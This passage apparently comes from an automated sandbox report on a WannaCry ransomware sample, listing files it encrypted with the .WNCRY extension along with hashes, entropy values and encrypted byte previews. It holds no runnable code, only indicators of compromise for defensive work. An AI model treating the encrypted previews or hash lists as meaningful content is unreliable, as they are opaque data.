                                                                                                      Preview:WANACRY!....T(e=.Cb....f.B...I.7.k<..,S..iZ...iU.`...E.J....`..9......9.sk..../}...'9..0HIaV.....t.|.;w.L.W..;.z...i{...~`...&5\!.....:d....4.3#..R^Uzt...PG..N..%..Mf.....4...X=<_....&.K.>.ts}.t..k{....c|..^..|..z....h.4..\."...j...@..R|..M}e......:3/.].....p................W....W...\....6.....y.....~.........5.I...Bl....jw...h.t....J.f.`...9O.7........9.W.`.M.xS.u.=.DCI......a.-..<.H......Y....u<x....I...}..x.\..j*..#...~..Z.FI..'W..{#c!K...x.m..i.._.t.~.4...w.d.>|$.T.X..iab.j...4TB...C...G...|..*..,.)o..z....PYL..'....x%5..A.k..]=...Z...B.....M.t.>4..&.av.......y....HD......D.4[._f...e.(..l&i..l....&&oq...Y./.`n....I.Y..y...Ht. ... -.q..3g........'..u..>.../..a...%._..U...l..P.....}mVO.c.,r.......bN .b..i.V..%..0..Wd.....L.....U.....O.1..V.w.S...U;..d.;.f9..Ogr...."..t".I.,..5..A.8F.........c..^....<z....Q.UP..3.=.`H.`..`}...P`....j..>.......F.;^.0...%gv.[...=..:.+.6.....F....7kY..@..Ls.-.U.v....#......!...#v.s.K.\o.F

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16777496
                                                                                                      Entropy (8bit):7.9999893886951865
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:393216:OwlaVvZ3xHNivZj05PpAjl5OxUYWjCHxfUumo/:1lgZ39SZ4r4eeY/H9Fmo/
                                                                                                      MD5:4382B7B53DAC7A4B9E26B6AB6C5ED616
                                                                                                      SHA1:BEECB8AB67DA72B6EE755C3F19A9489717FB4599
                                                                                                      SHA-256:DF772C45CA1E36DAA01389B472AA78A88CE3014B4AAC0442539DFA164CC8B7B5
                                                                                                      SHA-512:E4B2AA1AD838B317ED7C65BCA873098E53D30D51A77448545D82088076F8C5012652FD3CA593F6500F172F409EFED03334A09927B0BD08BFDD1E4D111EC4AD8A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......q..^.1\xl..my..*..8.0.Z....xA.LY.`..4S..w..H/.."m...RV.v.'..ap".V....L.]..P./../K...,....3.>V.....c..6.E.2Om..Q...&..l.h=...SE...............!.&.V...........*..........\B.t.Ty...?&....O.LX.f.^.|m....X.t....g"..@.^.f..[n...FH..L...Q...C....,...............?....#.4..2,.;.C..K..k..9...s`..C...."....rMwssy...s..*D........t_/*.G..<..L...J*dD..0.......8).B.X6...c.(.......G..i.b.ajt...:....Q.=..~T.1.nU..+.p.....KaB.....Q...ew,.....A..X...\tAd.........5!o{.G......9..g.1c..|Q..]p.8..._..6fs.....F.E`.b......J..tVH...(.....Khl-..y9l'F#.R.-..R1P...Q.I;........Q{.P=%..~X.T..g.....D."..."@.coJ.%.qc.......[..m.^.$l.-..yy.,.h.Q...T.:.l..|...p.2..:.*0Exc.....9...[...R.........C....tB.........Q.ZK..M..eaG.k...f.i/}jD....._.D.i....#.Y..5.RQ.S....%0..C.A.*....=0......R(...Q..!}..c9..;.2..M..#1>.X.3...C-......C.@.#r.3.B..ix>....Y.&5..T.k<~[c....+PA.......s..7...$..c..Qtn....<r.z.p.....E|..*.fJ..Y.<...0.~.....zw......y.A.}.P..[.!...y.*.A.(w,e.[.#p.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):164120
                                                                                                      Entropy (8bit):7.998858371001537
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:kWWcCyQloSFBFSWAgLzScMaYFjoBZ6leB/l0ELf01xZQEqAHttlLuZpIsfkC:k9xBB0XgoaEcLjN0JQxALlWpIdC
                                                                                                      MD5:C328B38156DAD1A004DF88B4BB1F6B54
                                                                                                      SHA1:CE34072CE89F8C52895A4FFED6EC903E68D5FD2E
                                                                                                      SHA-256:A93FD34D8FF732C801441FB03D14839288800C41168DE8E50E2FE29660BD3772
                                                                                                      SHA-512:10D6B0723F32A2FBCA5FCAB3FF76B194A14E584333B95AFA4A4F015E1CD524F0DC7F2E62ACD345C479F607600446FEBD909494DA2628B3BEB2949B506331ECBF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....>$..>.J@.F=..'..[........KeN..........=d....o...o.T...@..'._.6Q.........U.|..`.......3.\...X.p."..X.,J.....o.....n....m ..xX9.D.R.Ay.1...0.....'t..OHK+.T.....60.#..1....|....'...pTZ....4.#.;s$.F...w....O;...S.A.q8...I....UJ ........|./Vp....J...............K.R..A.....\T.mJ.G\..3c./.7...~T.....k.>6.(.p.U...~.YC.....Fb2.~LR.o.e...\....y.}-c.B...U........#.......OA...b...n......l(......).Mh.M~~...6.Zf..G."fZ..U...+J1........yC....p.F....*..P.....}.........G.4...h@...l....y.5.F...M.......&....M.........#h2....7k.[.._...\.....w'..L+.}P.>q..8...xO..89.4....MP.S._..ui..R.I..a.elz.........N[.ZHF...=F..F#..$....=.^..8G.?.4u2.h..t...s...[.0..0.... ...4....r..jd\.K.P=.>'1.p..r...Z.....?.H3.....e.).8A..L.B9.h^..>.r>r.+...b..U..K.,g@..X..r.y..0.;...l]X~..I8Lvr.....i..pwg.B....W.....-E.V.l~.E...q...$.a;ml..U&......x..:K..F..=.....F..O.@....."6g...5%.....v=...!...7#.i..M%..|B$......s.-tF*p^k>D............gL..C.....Q...0..%qZ..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):196888
                                                                                                      Entropy (8bit):7.999002484211101
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:WoY23CV7dX1v5KFml6wDKnEg6pERZpAvYv+1x38Icfb:pY23SDoFjwDKnEg/TpXv433cD
                                                                                                      MD5:D6BF02C5A39048E51B42D212B9700017
                                                                                                      SHA1:251BE939560244EFDEBECB9303B8613F4904017E
                                                                                                      SHA-256:1753F43F8D2ACE4D2782BE7E874FE3B82A393F33AE7AAFC7E85E54DC11C33635
                                                                                                      SHA-512:A2B951FC0D616BF361C9E7AA9C4D645FCCAAC8A48A15B8638A4AA8270C2433C486DA524141042C6CEA9E1B2ADE70C340E922EEA94EFA8097DF2DE652DC1DE79A
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b.......|.t .x..A.$.69@9=7..nj.Sx..P..O....?S....!......(\~.....(..R.;[.3H...m...'t.0.Q.".bq..P.z.....p9..^...h........M9.....*.C.g......V...T.....w.......Z...P../`..2:...#./...j...3c.\J.6.;..`..>......[}.Nm....R..#....=....o..H.....N...8L...............<.JsI6..D}....W.....Z....8.m..&{...3.....z.......J.........NG>b..O......x...gh8..x....n...+.)..n...Y....?._...9.4.{KU........Yr..Zc................1.X..xb....k....]v...t..n.w.......?@VY.f.k...c.s..GSTf.z.B...<..v.............Ek.....9......q.e..\d-..g..}.o....~.wj......0.Px.1V.`.......qH..#=.h$..m...Z.T.BzJZxu.Rp-I.17.....9..<......*N.....4.a..........j.e......PK@.!(.....=2..DZ....A.DU.8.2ay..|&....W.!.....c.#.....m..)..W.g.g.e.V$.mT:C../.V..H.ZL3....w....6..E.q..s.Qe..f`..........,..1D...4...n;/TW...X.eS..N.g0J...rT....u..h'.......[...s[G.....].).E.#fVms.7..9.6_.n.[.....G.p..#ga%....j$.`...V.x......BL"&"|.y.Y.s..M...[.'.;~..#.jW...Vb..Ovw.'...../8CR..&<....r.\..<.:..l

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):89816
                                                                                                      Entropy (8bit):7.997868628267571
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:d4BFVtYCfPBN101o+HFHLeoOA8J010VJywCzwwJt82FfIVwTkZ+/xn9l2wFIP6:65YM01XHFHioOX/VRb2FA5Z+/x9l2wFZ
                                                                                                      MD5:25F4F8CCFA300D67508C24483152E6FB
                                                                                                      SHA1:319018DA93D002E1E61E9D371A540B248EF369E1
                                                                                                      SHA-256:21086B65AA1AFB2232050F4101C4A61DAC99320AFFAF076916077396CDB08371
                                                                                                      SHA-512:FE01FE7889F9538045FE4D9B519DCC5DBC381777AA2EC3B18A84AB2A1FAF66A95E69983AC0F8EDB513502035000E5D45FA8B953166AC96F3C0DBDCD6129C1E46
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........u..j....J..l.b.O .Y.a2.T.$.i.Uj......A?D. ....v.............."..5..?.4..>sd.Q.A...p.e.q.....j.... .y...xS64.\...>.O3..Z......>..."N;..z.......K.W...@...[.S(..v.?...I......Qk.."4$W.SE.. w.p..^! ..s._ [:q..D..ZL.H^6......;.....L.\.J..?D.-............].......gW&Q.~.v\..A..</.7.z..R.W...,.I....P.<NhX..F;V....M....~.#..^&....:..t=.......{.2P....D.g...Cm .E......e3..w.B.......S.....[\.d.;.$.*.l......;8...}^.@<.L%xk.@...c.....#..ro..@..Q0.A.Y.oEg....?.m..,..U.S>_..J..2m.dA.9.j..o.tkX.V".r..Ntv.Y]Y.ZrE.. 3.$'.0..........#....bp...K..{...(;.....,.b.(Z..9...B...%`...<.G....F.va.F..&b..H.M..4.3..=........].....3..i5. ...(.2..#0!.....w...P.....e.... h.#... .xP{x(E.......:.N_...G...u?2u.vA...tcK.1...si.Yj..8..2.2...;Gnr...Y..@h..@a..A+.;.Kc...jU...4......8}....w.=8.......nF.x.......*...[..~...J.nw..#..r....x.u/..}..M#.}.D.s...F*..G...I..KJw.C.sK.O....I.ySV.....rL.u..-M..R......q{|C(.%P.ZI...Tj....pnN.].H.z.Z[._.Q.S`.k.7....d.>...*a-"..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):44776
                                                                                                      Entropy (8bit):7.995479414223464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:JVwFztHL7lvenqEA/cbAXcctRDXVEpGR9rFVAXSbr0km:JmFF7penwHccMKLVAXtkm
                                                                                                      MD5:AD731889E873F91532BF280FFFEF10D0
                                                                                                      SHA1:ACBCBE350E99A2E7BA26C5A0AE88359AFD32BEE2
                                                                                                      SHA-256:5ED3BD5DE5A8EE3431DF2795751932BB438CE3FBB6D0B0C1722045E5AAEE06F5
                                                                                                      SHA-512:24ED4142E87772EFA8DD3E03457C1995928E0D74E60EF33D2CE9D93FD9849328E03208019B148834B7455AC1AE2B9B9B2CD3CCCC3394183425D3AF1F0B3517FA
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....2.~..j._.2......5.n.X.x;6/...X...Q^...<.NrG[...C.L.1.....u1.Y.7D...`h*[....H~.{=.@.....g..A...q.R.\Wq3/.r......?...X...Y..;-.mAg....]]...N|..JH...O.....1.L..~...e9@.`?t...?..Q...X.'>...!.P.....h...pe....:....r....U..r6.l2.lz.q.<...~*..u.............B({.U..n.H$1...i>...h.t....J....K..G......y.....lbWY..^8u...G.../.9m.F...g.~.}^.....>-"!\.M.....v....!........<..*.!..v...h5..{...C..1..K..$!G0..$....A.c.+.1.dl.$....nc..?.L..H.`$..3...X.H.s.z.[....f.-.zg..2.8..,.....?.edU..P}...[z.Y...\9.h.n....h..U4...Z..T2.g...CZ.\ s...e^.....J.x.m[-}r.%k.......mG..v?........h......f..^D...V-6......G^..n.y......?.6.8....g ..,2.5N..;..)t.%J....Zn......;.d4..[54eP`c....Q..R<k9...m>I.#...8.....'..[....q.....-c.C..J.W.~.$z.e....t.C....)...d.3.]Y&.3(.F....V...x...v....Z..4.....-:.......f;.X...-........]V..w.E.4..&.k...8T.w.>.E..CH....E.....T.4.D.9..34.,..87XA...V:..'~.u0.S0i.6.z.[N.cu...h2.......~+... ...0.W.S...j=^.a.:..m$<....`......3...M'...'ot.B!....

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):29160
                                                                                                      Entropy (8bit):7.993582657331544
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:QQWxz/FSzeyYfwU8dZegHlGJLzd10WIAzGZd416I:yxja1Jeqg9zd1fIAyi1p
                                                                                                      MD5:2BF557D6667F96FE33A4DB24F8CA455D
                                                                                                      SHA1:8BDC5151A44EDBB14F58171FE302DAE645134216
                                                                                                      SHA-256:6394A2D54074D1A41C4D70F01C6144D3C30FD1B8263264DCF7D4F25EA4F80ACB
                                                                                                      SHA-512:D9DEBB5395BBB2C5D9F93779C34F42F74698B078D0C2640A136B88C2A1C165C87B013B0D6C7BC6E618FF7E948C5F45982A6E900F6F7DC6385F7D3E10F04EB3DB
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....p...I..|.W..'q.bgY....c..`v.@X.vG.......C....H..#..<..*......z...5...%?...Nj.m...]LI\..}p......J.. .N.;...C..`u......V#D.aj......cXW.,..y....!.........)+..%...0m..!.y.pV_.$DSj.E.=i..~..tb.....k.......r.......@=..%.. _........y..<.6....&..<W.....p......)...../.Gh...........i.......n2..'..^{dc..../.G........................h.......=..(.z.W....xd8...x...A..b..]Q..6..=.7..D..I.Qn.R......S/}.f<sJ...['.c..^.... .-..^.....q?$....][.f...Y..'Y8\N.H.&...K:....k.5E.....vC.8h...y.Xg.."Md.W.y.4..x...MI....sLQ.q..f.......`...Vs..p.<WpL.ut.j%....0...(P.o.q...]...{2.`..d.}S2U.....v.Z......y.;.......%..g?..#..;+.K...y..%...#RB..e..o.....@.%.J;.G/.......2..~...}...NI....1.{..<..E@...q%..p.Kk..q{.X..1....u .'^...............3#9E..c.S.D.a.<f.M..(.......AT.>..U.w.o...J.S.9..9/..6~.........(.(bO..7.9..p.@.a.5.I..&.5..r.4.gRi..":UP,...X+`|......]/.#Z.F..hN...cm....%.......j.2...%.a....+....;...Zjv.e.dK.._.q.;..}F.. .*T..m.|...T.........=../...%..9'

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):7000
                                                                                                      Entropy (8bit):7.973253954584865
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:L+Ns03MFkTtSZTmwiAS+L8qc8XV8B7JtVYeeLn9wH:y/3MFgtS5mwiA58qc8XVytwD92
                                                                                                      MD5:61448BC397BA4F393C4CF82E7D256E5E
                                                                                                      SHA1:40F162ACE0CB921F35C66C5D86702153362046E2
                                                                                                      SHA-256:AF1453D5E2262E23B37B49F21D7F2EF3C7F6122E69FD39F37147EFA7CBA11AAC
                                                                                                      SHA-512:BCF144DECCB427F7DE785DDC47296157049F7E98F2DF95DB5AD20F4187C70670076433CEC1F4F94F8B5C1214EADFB61A67EC8D2FDB462963D99F27252CC4F38E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....w.L......._.\.?/|..=..L...'..1+2.,z..KoX...X....w./7..;.p.._..9.c....f....hG..Ss.R.r...`.q_....;p.v..j....b...-....9...&.e.#.6. ..s9B.....l.._.......cN...f....6....H.CH..R..*f....p.&dA5x..c...w.7c....$\!..f....,y<....@...O.....t...HcB.W..[*.e..d....=...........C....lK=M.)9.#.j.=..^}.LJ%..zX.s.7.d.G..n._.8?.uN..../.i.<bx..&.....R...Z.~36.lnb...w.Q.,)....Fxy....h.=?....]....,."..,qs;...G.l..._..WG.#.....n:.O..P.4.z.%u..E...%./...!..4.|v..K.,m.j.A.X{%...B...|.q..,.7.`.....?n.&........P...<.:.uk..)...1..?.8.zH..D./.x.x.o...M...7.l..}.......3..T3.`:....E..U.....)..%....1.k..(.[.qG.(...e..J........I.r.Y...*b..Ms....cS...vMz.U.+......,.1!....eG...eaaIk....uO9.<.....r...e}<...m.u..4N:...mM.L..w....K.bw..t=..;*......&.ST5...6.:..T.[.......'U.i...4.9^..M..c...q...5.."5DF..s.:....;.p....M...........I.]......Q.oXA....j.^..,...,(I....[.3E0y._.m..r.G..".e.F.!>d......>3.....P.Axl./.G.C .bEl.....B...h...q....H."..-D...uWK..-&&.M....lF..W.....p.J{..

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11251992
                                                                                                      Entropy (8bit):7.999981721115664
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:196608:R/jEsVqTBMe4pYx9zuaMzfxE5wR4MKZ41r11Te+/x3V46lz/GupVDonO:94tTB4o97MzAwR4MKy1r3LRGoDoO
                                                                                                      MD5:F27251371187DF77C97CB8E246368689
                                                                                                      SHA1:972A200A60265114CC9A8AC9C85795DCE93260BA
                                                                                                      SHA-256:D235E889DB9F37B9CCE01A9C89253C3B188753D27AF284E2E3C8F65A41964AB9
                                                                                                      SHA-512:57E736E9EA09B9CB66C737EFED70423AFDD93D3C7AA9561F6197DE4E08376105F4596BA869C0D3D0C1AF1395472B45F2893105B97631011FCC1C31AF735480CF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........#G...y...WY..^...:.*.^CD.j.J.%....V.9.]..].......a... .".).=...8.^.s.2z...../..Jv..!...g.:.u..:g..$...j......6:7HV\...!.....Q7M..t.|...`d1..Q..Fv....vU......._...E...%....2U!PA..z...w.j0...~..>.*.{Dd..\..?..a.......w..........X.8...d1b................A.%.eK..........6.fs.5..x0..l..<d..w...t.8'...F~.,....~...b._.,Sp...E>...9.$A.[-\l.,._.$ed....A,..''RO....u.)..rt9j.E...Y....ln.^V..H..@....UN.<....._...z..r.B..='....h..l..|..[bE.[.gD...(Kp....Q.Q.@.y..VX.. .ln....w.x.7.......qh6...L2.6..Jw.m.w....z..&..D.c...5..".8..Y......J.....PU...j=.....\..M.....0.4w}...1.....S....o=.)-7..R.7.....u.n.b..GB^_..}.......q..y.X.. .<..K........j>N......>.d].a4..R^..<.W......8..$..EC....X.....A.4..(#[.N^....>|.*..V.o...(..f..c.4d...d...bLe..N.X.T..V>.x...;.`C.K..].. :.=Ke.;s..C.)...\.#.y.?(....`w...T_..-g...,kk{0..."......F@.j.N-w.....y.......r .'RT..R...j....o.....6....P.M{`...wZA.7._.a.o..XB.3A...nm$:'x|.6.b@.b..E.3 a2ugD/.9.4U.px..Q

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):130040
                                                                                                      Entropy (8bit):7.998551390333161
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:dmCe2fqEf4ODIcDvJ4OExEniLzWMmahFYYt6iU:9x3IWvJ4732Kheg6iU
                                                                                                      MD5:1942DA2099DE8301ABBC93C4A7D5A895
                                                                                                      SHA1:6D94DAE37FB80D0A70A432270A5C3850C3312585
                                                                                                      SHA-256:E5C6B24586424C1FC5E1A8CDB05BD64BB6EF04F85A4DC6677340B756FCD9BB63
                                                                                                      SHA-512:CCAD35277550CA9E968A1112F4AE4466CD96F3A1BC6C5F76643081E3C68C76041AC86A8D1C899A269BD6CD874F6F63378F4B42F9C9B9B29B65063B804BD0A2C8
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....v......`.."..j.t..LV....7...U.....,....3........1C..N....(.H...........8*.I{..|.".U..E5...r...@.e:L;.~.I!..+.....+,.T.....K.|.....8"J.@...U.ux.MA.....,&L.X.pt3....b..q.?....ROkI....{.1L>C.n....r...$G}yX.A..*.:p..d.v..V...j'X-.P.....L....Dq..=..R)............~.@[a........?.8..G....._..........Y&q..Y....vz.....j....f.G..i,u..@..1.".-+..F...Np..s[O+...0%j....Y.B....r.4_8IBq..K..D.................#....K.A.z.1.I.........3...N-..d.D..|7........I...'...F..{..wi../*...O..5.G,&.?."..%..W..]P...;:^.e3(.GI..<..5.....f..n..ob..c.%.\....[.yNR.T..N.Hw..bR......5..,..f..A6.g..<..Of..= <...........k..!.x>...6............\#..Z.Cz..RE.AvuQ_l..Ux....lS..U...S...p.[.g..(.<12.....6fXY....2......)..l.....&}...3%......Ux.I....)..]....ri.<.i..hVG.... ..P.......T.U.TI+.m/.s...,...p..V...P..Yy..;...7.R.?3.....q....+.QY.wU...%..0.E..%...3|.]..\.n.1..II.2...0:..$.,Z&..[. j.S8....v.1xZ.Z...i.2.T......t...5....Pn.E.....x.H....c...L...al.K..\e......6.T.b

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):39672
                                                                                                      Entropy (8bit):7.995725492801387
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:9duqH0UAXYG4wegHWbVk+xljdMFSXfKtONhzFJ0pzy5i9OPV2K7Ad:juqUU4d4fyWbV5PjdpWOhJJp0wtcd
                                                                                                      MD5:3B45954E7009DD9BBB5A7A308B0F23B8
                                                                                                      SHA1:73BD4488DA8AAB126B4D86B4E27A27450C27472C
                                                                                                      SHA-256:0E508C644B93C402D5F31C517F8441D5BB666FD5F7F3332D4A5B44EECB288B51
                                                                                                      SHA-512:438B731A754E9A2DF6EACAEE1A79CEC28567A1FA3A4A34EBEB738BAA316E8E7ACBA878DE7157A16117B554EC1F7DC7FB634B41066729C81A3CE06FBDF2E98F18
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......n*fH..5...#+M7y.q...cL.^.M.A.....n..+..a....l.z*..w...;k.u..F..Y|e...M....F..0k|.R....i......>...G"...p.d...R.].R..R0%.rd.V+l..M2G..5.....Y.......g..1T...1j.i...%+.&b..%y..%......p....a..]^..2.q....k.....G8....>#.......l.+.g6!.N....u................V..|..x...(.,.]...+....q..=.g....0:.xpB....'!..[)...u.3/.T;\Tx.'...v.U.4{....P61..s.#.N2.2...)P8Z..A.w...P....|l5... .t..90..j.X.PD...Tq...X.C0.L.l<{.c.........NY...g)...!Z..\.[[.\.....r..|......p...Uhe\...EQ..i."..l.x{_......S&..|..^J.gw.@.`.j_...P.....:y@....J.h&S..t|.p.2.rO.w.5+..zX.|......)............S...7. ..v...=.4>6.}....$.....{,.i..v..v...o..heV..........~..3...1..k.."....bQ'y........Y.x.F{(..`l\..3N ..',y.....T.K.|Cpt.jZZ.tS...p.me....dt...C<,.95$y..E9.C.x.{.EYWiSS.2.....p..o.wMQ.>.o.Z...k..,..6MO..W4.....j6../y.........[..9..L....a......^.....u.h.'o...l_.d`.]...gaA.l......>&jX..~....9.@Lj%......f...=0.nN.."..n..X......Xz4W.S#......o....U.*.H.#J...vQ.v..l..v/

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):130040
                                                                                                      Entropy (8bit):7.998528189911692
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:S3z0ut7PXJniv9bCNSrJTuZeX61bzpqAfBPSAXFhWP82NB77+gE+59Gz:S3YkPAv9bA64ZrbFqAfBDXFcEyB/+O5E
                                                                                                      MD5:3766C8B03ABC4FC1112DA48CA5F4D9FA
                                                                                                      SHA1:BBF46646FEEEDB588F30B2F5621FE56C4D171268
                                                                                                      SHA-256:B9536F64289EF7A4E3F85C12B019463F1D48FC958B15E7D9215AFE8760B91D96
                                                                                                      SHA-512:E5D0EDF0B49F4CEDD493E832AF5CCD112D4E4F63964DBC8CB3FDCD7B04B8780ADB6E60EBD522F6FDF8DE9803AF5187D6701B8613A1B87BA17507D305DBA4AA38
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!............1u................}.Q$.kp.....(................8.G....3..3.............n4U+{.q....6e....[...$Y.%....G.t....(`..K...k...X....~)RG.h.-1.u..`.u....o..5.'..3....>.\4.L`%M6^...[..Nv....U.X.w.S..[LEc..e.S.I...e..w..e........R....g.@...R..................z.aJ.&..t.Y.I..M..+.....<.=...v.o.m.....Q./.....5i.GFb..W...!$2.Z..E=.s.....uM.+ ......v.b.6...9.O..z.I.%Y.. . ...Q....b.g.0.....I..@.....C....?...;f.!.u0.1.x.l?...6..T....8..g. .]..<....B......G`.....I.......b.<.........-E.e.@.....?......P...s).71../Y1..5$.e ..s3..|...._.z.E..<^..Z.......i....I...C.]..N..j'....`.h...A...I.4.7.z..A...EA.........X..I.6\v.c...P..\.~......K...!.I....h......V..x.!.CN....Q.g....j..D./C..ewe.HW..N..y..(...Tk..k$..1.SH.^..B...t..PQ...+TkJa.....Jc...[.A-..8,V)...fe`Y=.Hwo:.T@x%........&U.7.._.Hr..n`........X.A...".....T.! ..RpJ..0H..^....%eYx...*..kz...$.+...t.`^i...}.. |.@.:.p..3.O\..1SH..+..lx.A..:-.C9.E...D.>......!?....,..y.H.Z..fW..N....X...b.

                                                                                                      C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):29160
                                                                                                      Entropy (8bit):7.994237867161889
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:HvPQAz9WFPB5Z96E5F6/0oAj1TxIIZafWna3r:HvzUFpxhj1T2IZuWa3r
                                                                                                      MD5:A714FD5F895B5E876161AF8DC6EB002E
                                                                                                      SHA1:889E8F544F89CB4DE232CE417059E1907D2A9998
                                                                                                      SHA-256:839FA9D03D0DFCD1A696E46F57AA472DE2C317E661985626C426EC24938C2C0A
                                                                                                      SHA-512:B3175EE7B5147E23D596630C14ED3221B65C1F103510531F588761462077CF3FE3F658F61A4CC9D56CCD3FBA3E46F83202E1A7FD90B19312E2095F68D5F60429
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
